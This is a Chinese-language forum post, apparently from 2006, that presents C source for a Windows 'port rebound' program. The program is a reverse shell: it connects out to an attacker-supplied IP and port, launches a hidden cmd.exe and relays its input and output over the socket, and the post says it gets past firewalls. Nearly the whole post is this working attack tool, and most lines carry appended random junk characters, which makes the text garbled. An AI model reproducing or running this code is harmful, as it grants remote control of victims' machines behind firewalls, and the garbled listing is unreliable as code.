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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4/b(Y4$,[r  
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/* ============================== TS1pR"6l  
Rebound port in Windows NT >Q&CgGpW$  
By wind,2006/7 Dq|GQdZ>o  
===============================*/ ya#RII']  
#include I[@ts!YD  
#include 'CgV0&@  
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#pragma comment(lib,"wsock32.lib") d60c$?"]a(  
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void OutputShell(); U4]30B{;H  
SOCKET sClient; i)=m7i  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; X|,["Az 8  
gglf\)E;}E  
void main(int argc,char **argv) )5U !>,fT  
{ L"4]Tm>zq  
WSADATA stWsaData; \Ps5H5Qk;  
int nRet; &i)helXs]  
SOCKADDR_IN stSaiClient,stSaiServer; -=5EbNPwG  
B`#*o<eb  
if(argc != 3) 2_ wv C  
{ su}&".e^  
printf("Useage:\n\rRebound DestIP DestPort\n"); _wmI(+_  
return; HV8I nodi  
} }*h47t}  
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WSAStartup(MAKEWORD(2,2),&stWsaData); kY=rz&?U  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >d#3|;RY  
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stSaiClient.sin_family = AF_INET; 0Yp>+:#  
stSaiClient.sin_port = htons(0); KyjyjfIwH  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); u >4ArtF  
#vtN+E  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) X6'H`E[  
{ jKS!'?  
printf("Bind Socket Failed!\n"); QPX`l0V  
return; 3EI]bmi~  
} S.1( 3j*  
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stSaiServer.sin_family = AF_INET; P:qz2Hw  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *<7l!#  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); g@Ld"5$^2  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) bf1)M>g,O  
{ 7 I@";d8~  
printf("Connect Error!"); qIz}$%!A  
return; mf$Sa58  
} g &*mozs  
OutputShell(); CG.,/]_  
} i@XB&;*c\  
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void OutputShell() i*'Z3Z)  
{ ;?zF6zvQ  
char szBuff[1024]; VNO'="U  
SECURITY_ATTRIBUTES stSecurityAttributes; \X5 3|Y;=  
OSVERSIONINFO stOsversionInfo; VtWT{y5Ec  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _W}(!TKO  
STARTUPINFO stStartupInfo; ^zg acn  
char *szShell; TU%bOAKF\  
PROCESS_INFORMATION stProcessInformation; "T7>)fbu  
unsigned long lBytesRead; NZ+7p{&AN  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =HS4I.@c_5  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Y[@0qc3UO  
stSecurityAttributes.lpSecurityDescriptor = 0; jQ|:I7y  
stSecurityAttributes.bInheritHandle = TRUE; Q(e{~ ]*  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); J+|/-{g  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); YQYX,b  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); t0.;nv@A0  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]+ZM/'X  
stStartupInfo.wShowWindow = SW_HIDE; 0p `")/  
stStartupInfo.hStdInput = hReadPipe; ke\[wa_!6b  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _4v"")Xe  
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GetVersionEx(&stOsversionInfo); TM-Fu([LMV  
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switch(stOsversionInfo.dwPlatformId) W~yLl%  
{ s&VOwU  
case 1: D"!jbVz]*  
szShell = "command.com"; Zw#<E =\  
break; |mOMRP#'  
default: :v)6gz(p  
szShell = "cmd.exe"; r**f,PDZ  
break; Bzw19S6y  
} {[P!$ /  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); vY_eDJ~'  
tF%QH[  
send(sClient,szMsg,77,0); -?z\5 z  
while(1) ,rai%T/rL  
{ @Z q[e   
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); G\ex^&M  
if(lBytesRead) 6@YH#{~Zpv  
{ zSXA=   
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Ha)np  
send(sClient,szBuff,lBytesRead,0); =k_UjwgN^  
} r^5jh1  
else \<V)-eB   
{ En\Z#0,V  
lBytesRead=recv(sClient,szBuff,1024,0); P0 b4Hq3  
if(lBytesRead<=0) break; ({ k7#1 h8  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); jkt 6/H  
} ^1 ;BiQ  
} P,ydt  
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return; )i-gs4[(QN  
}
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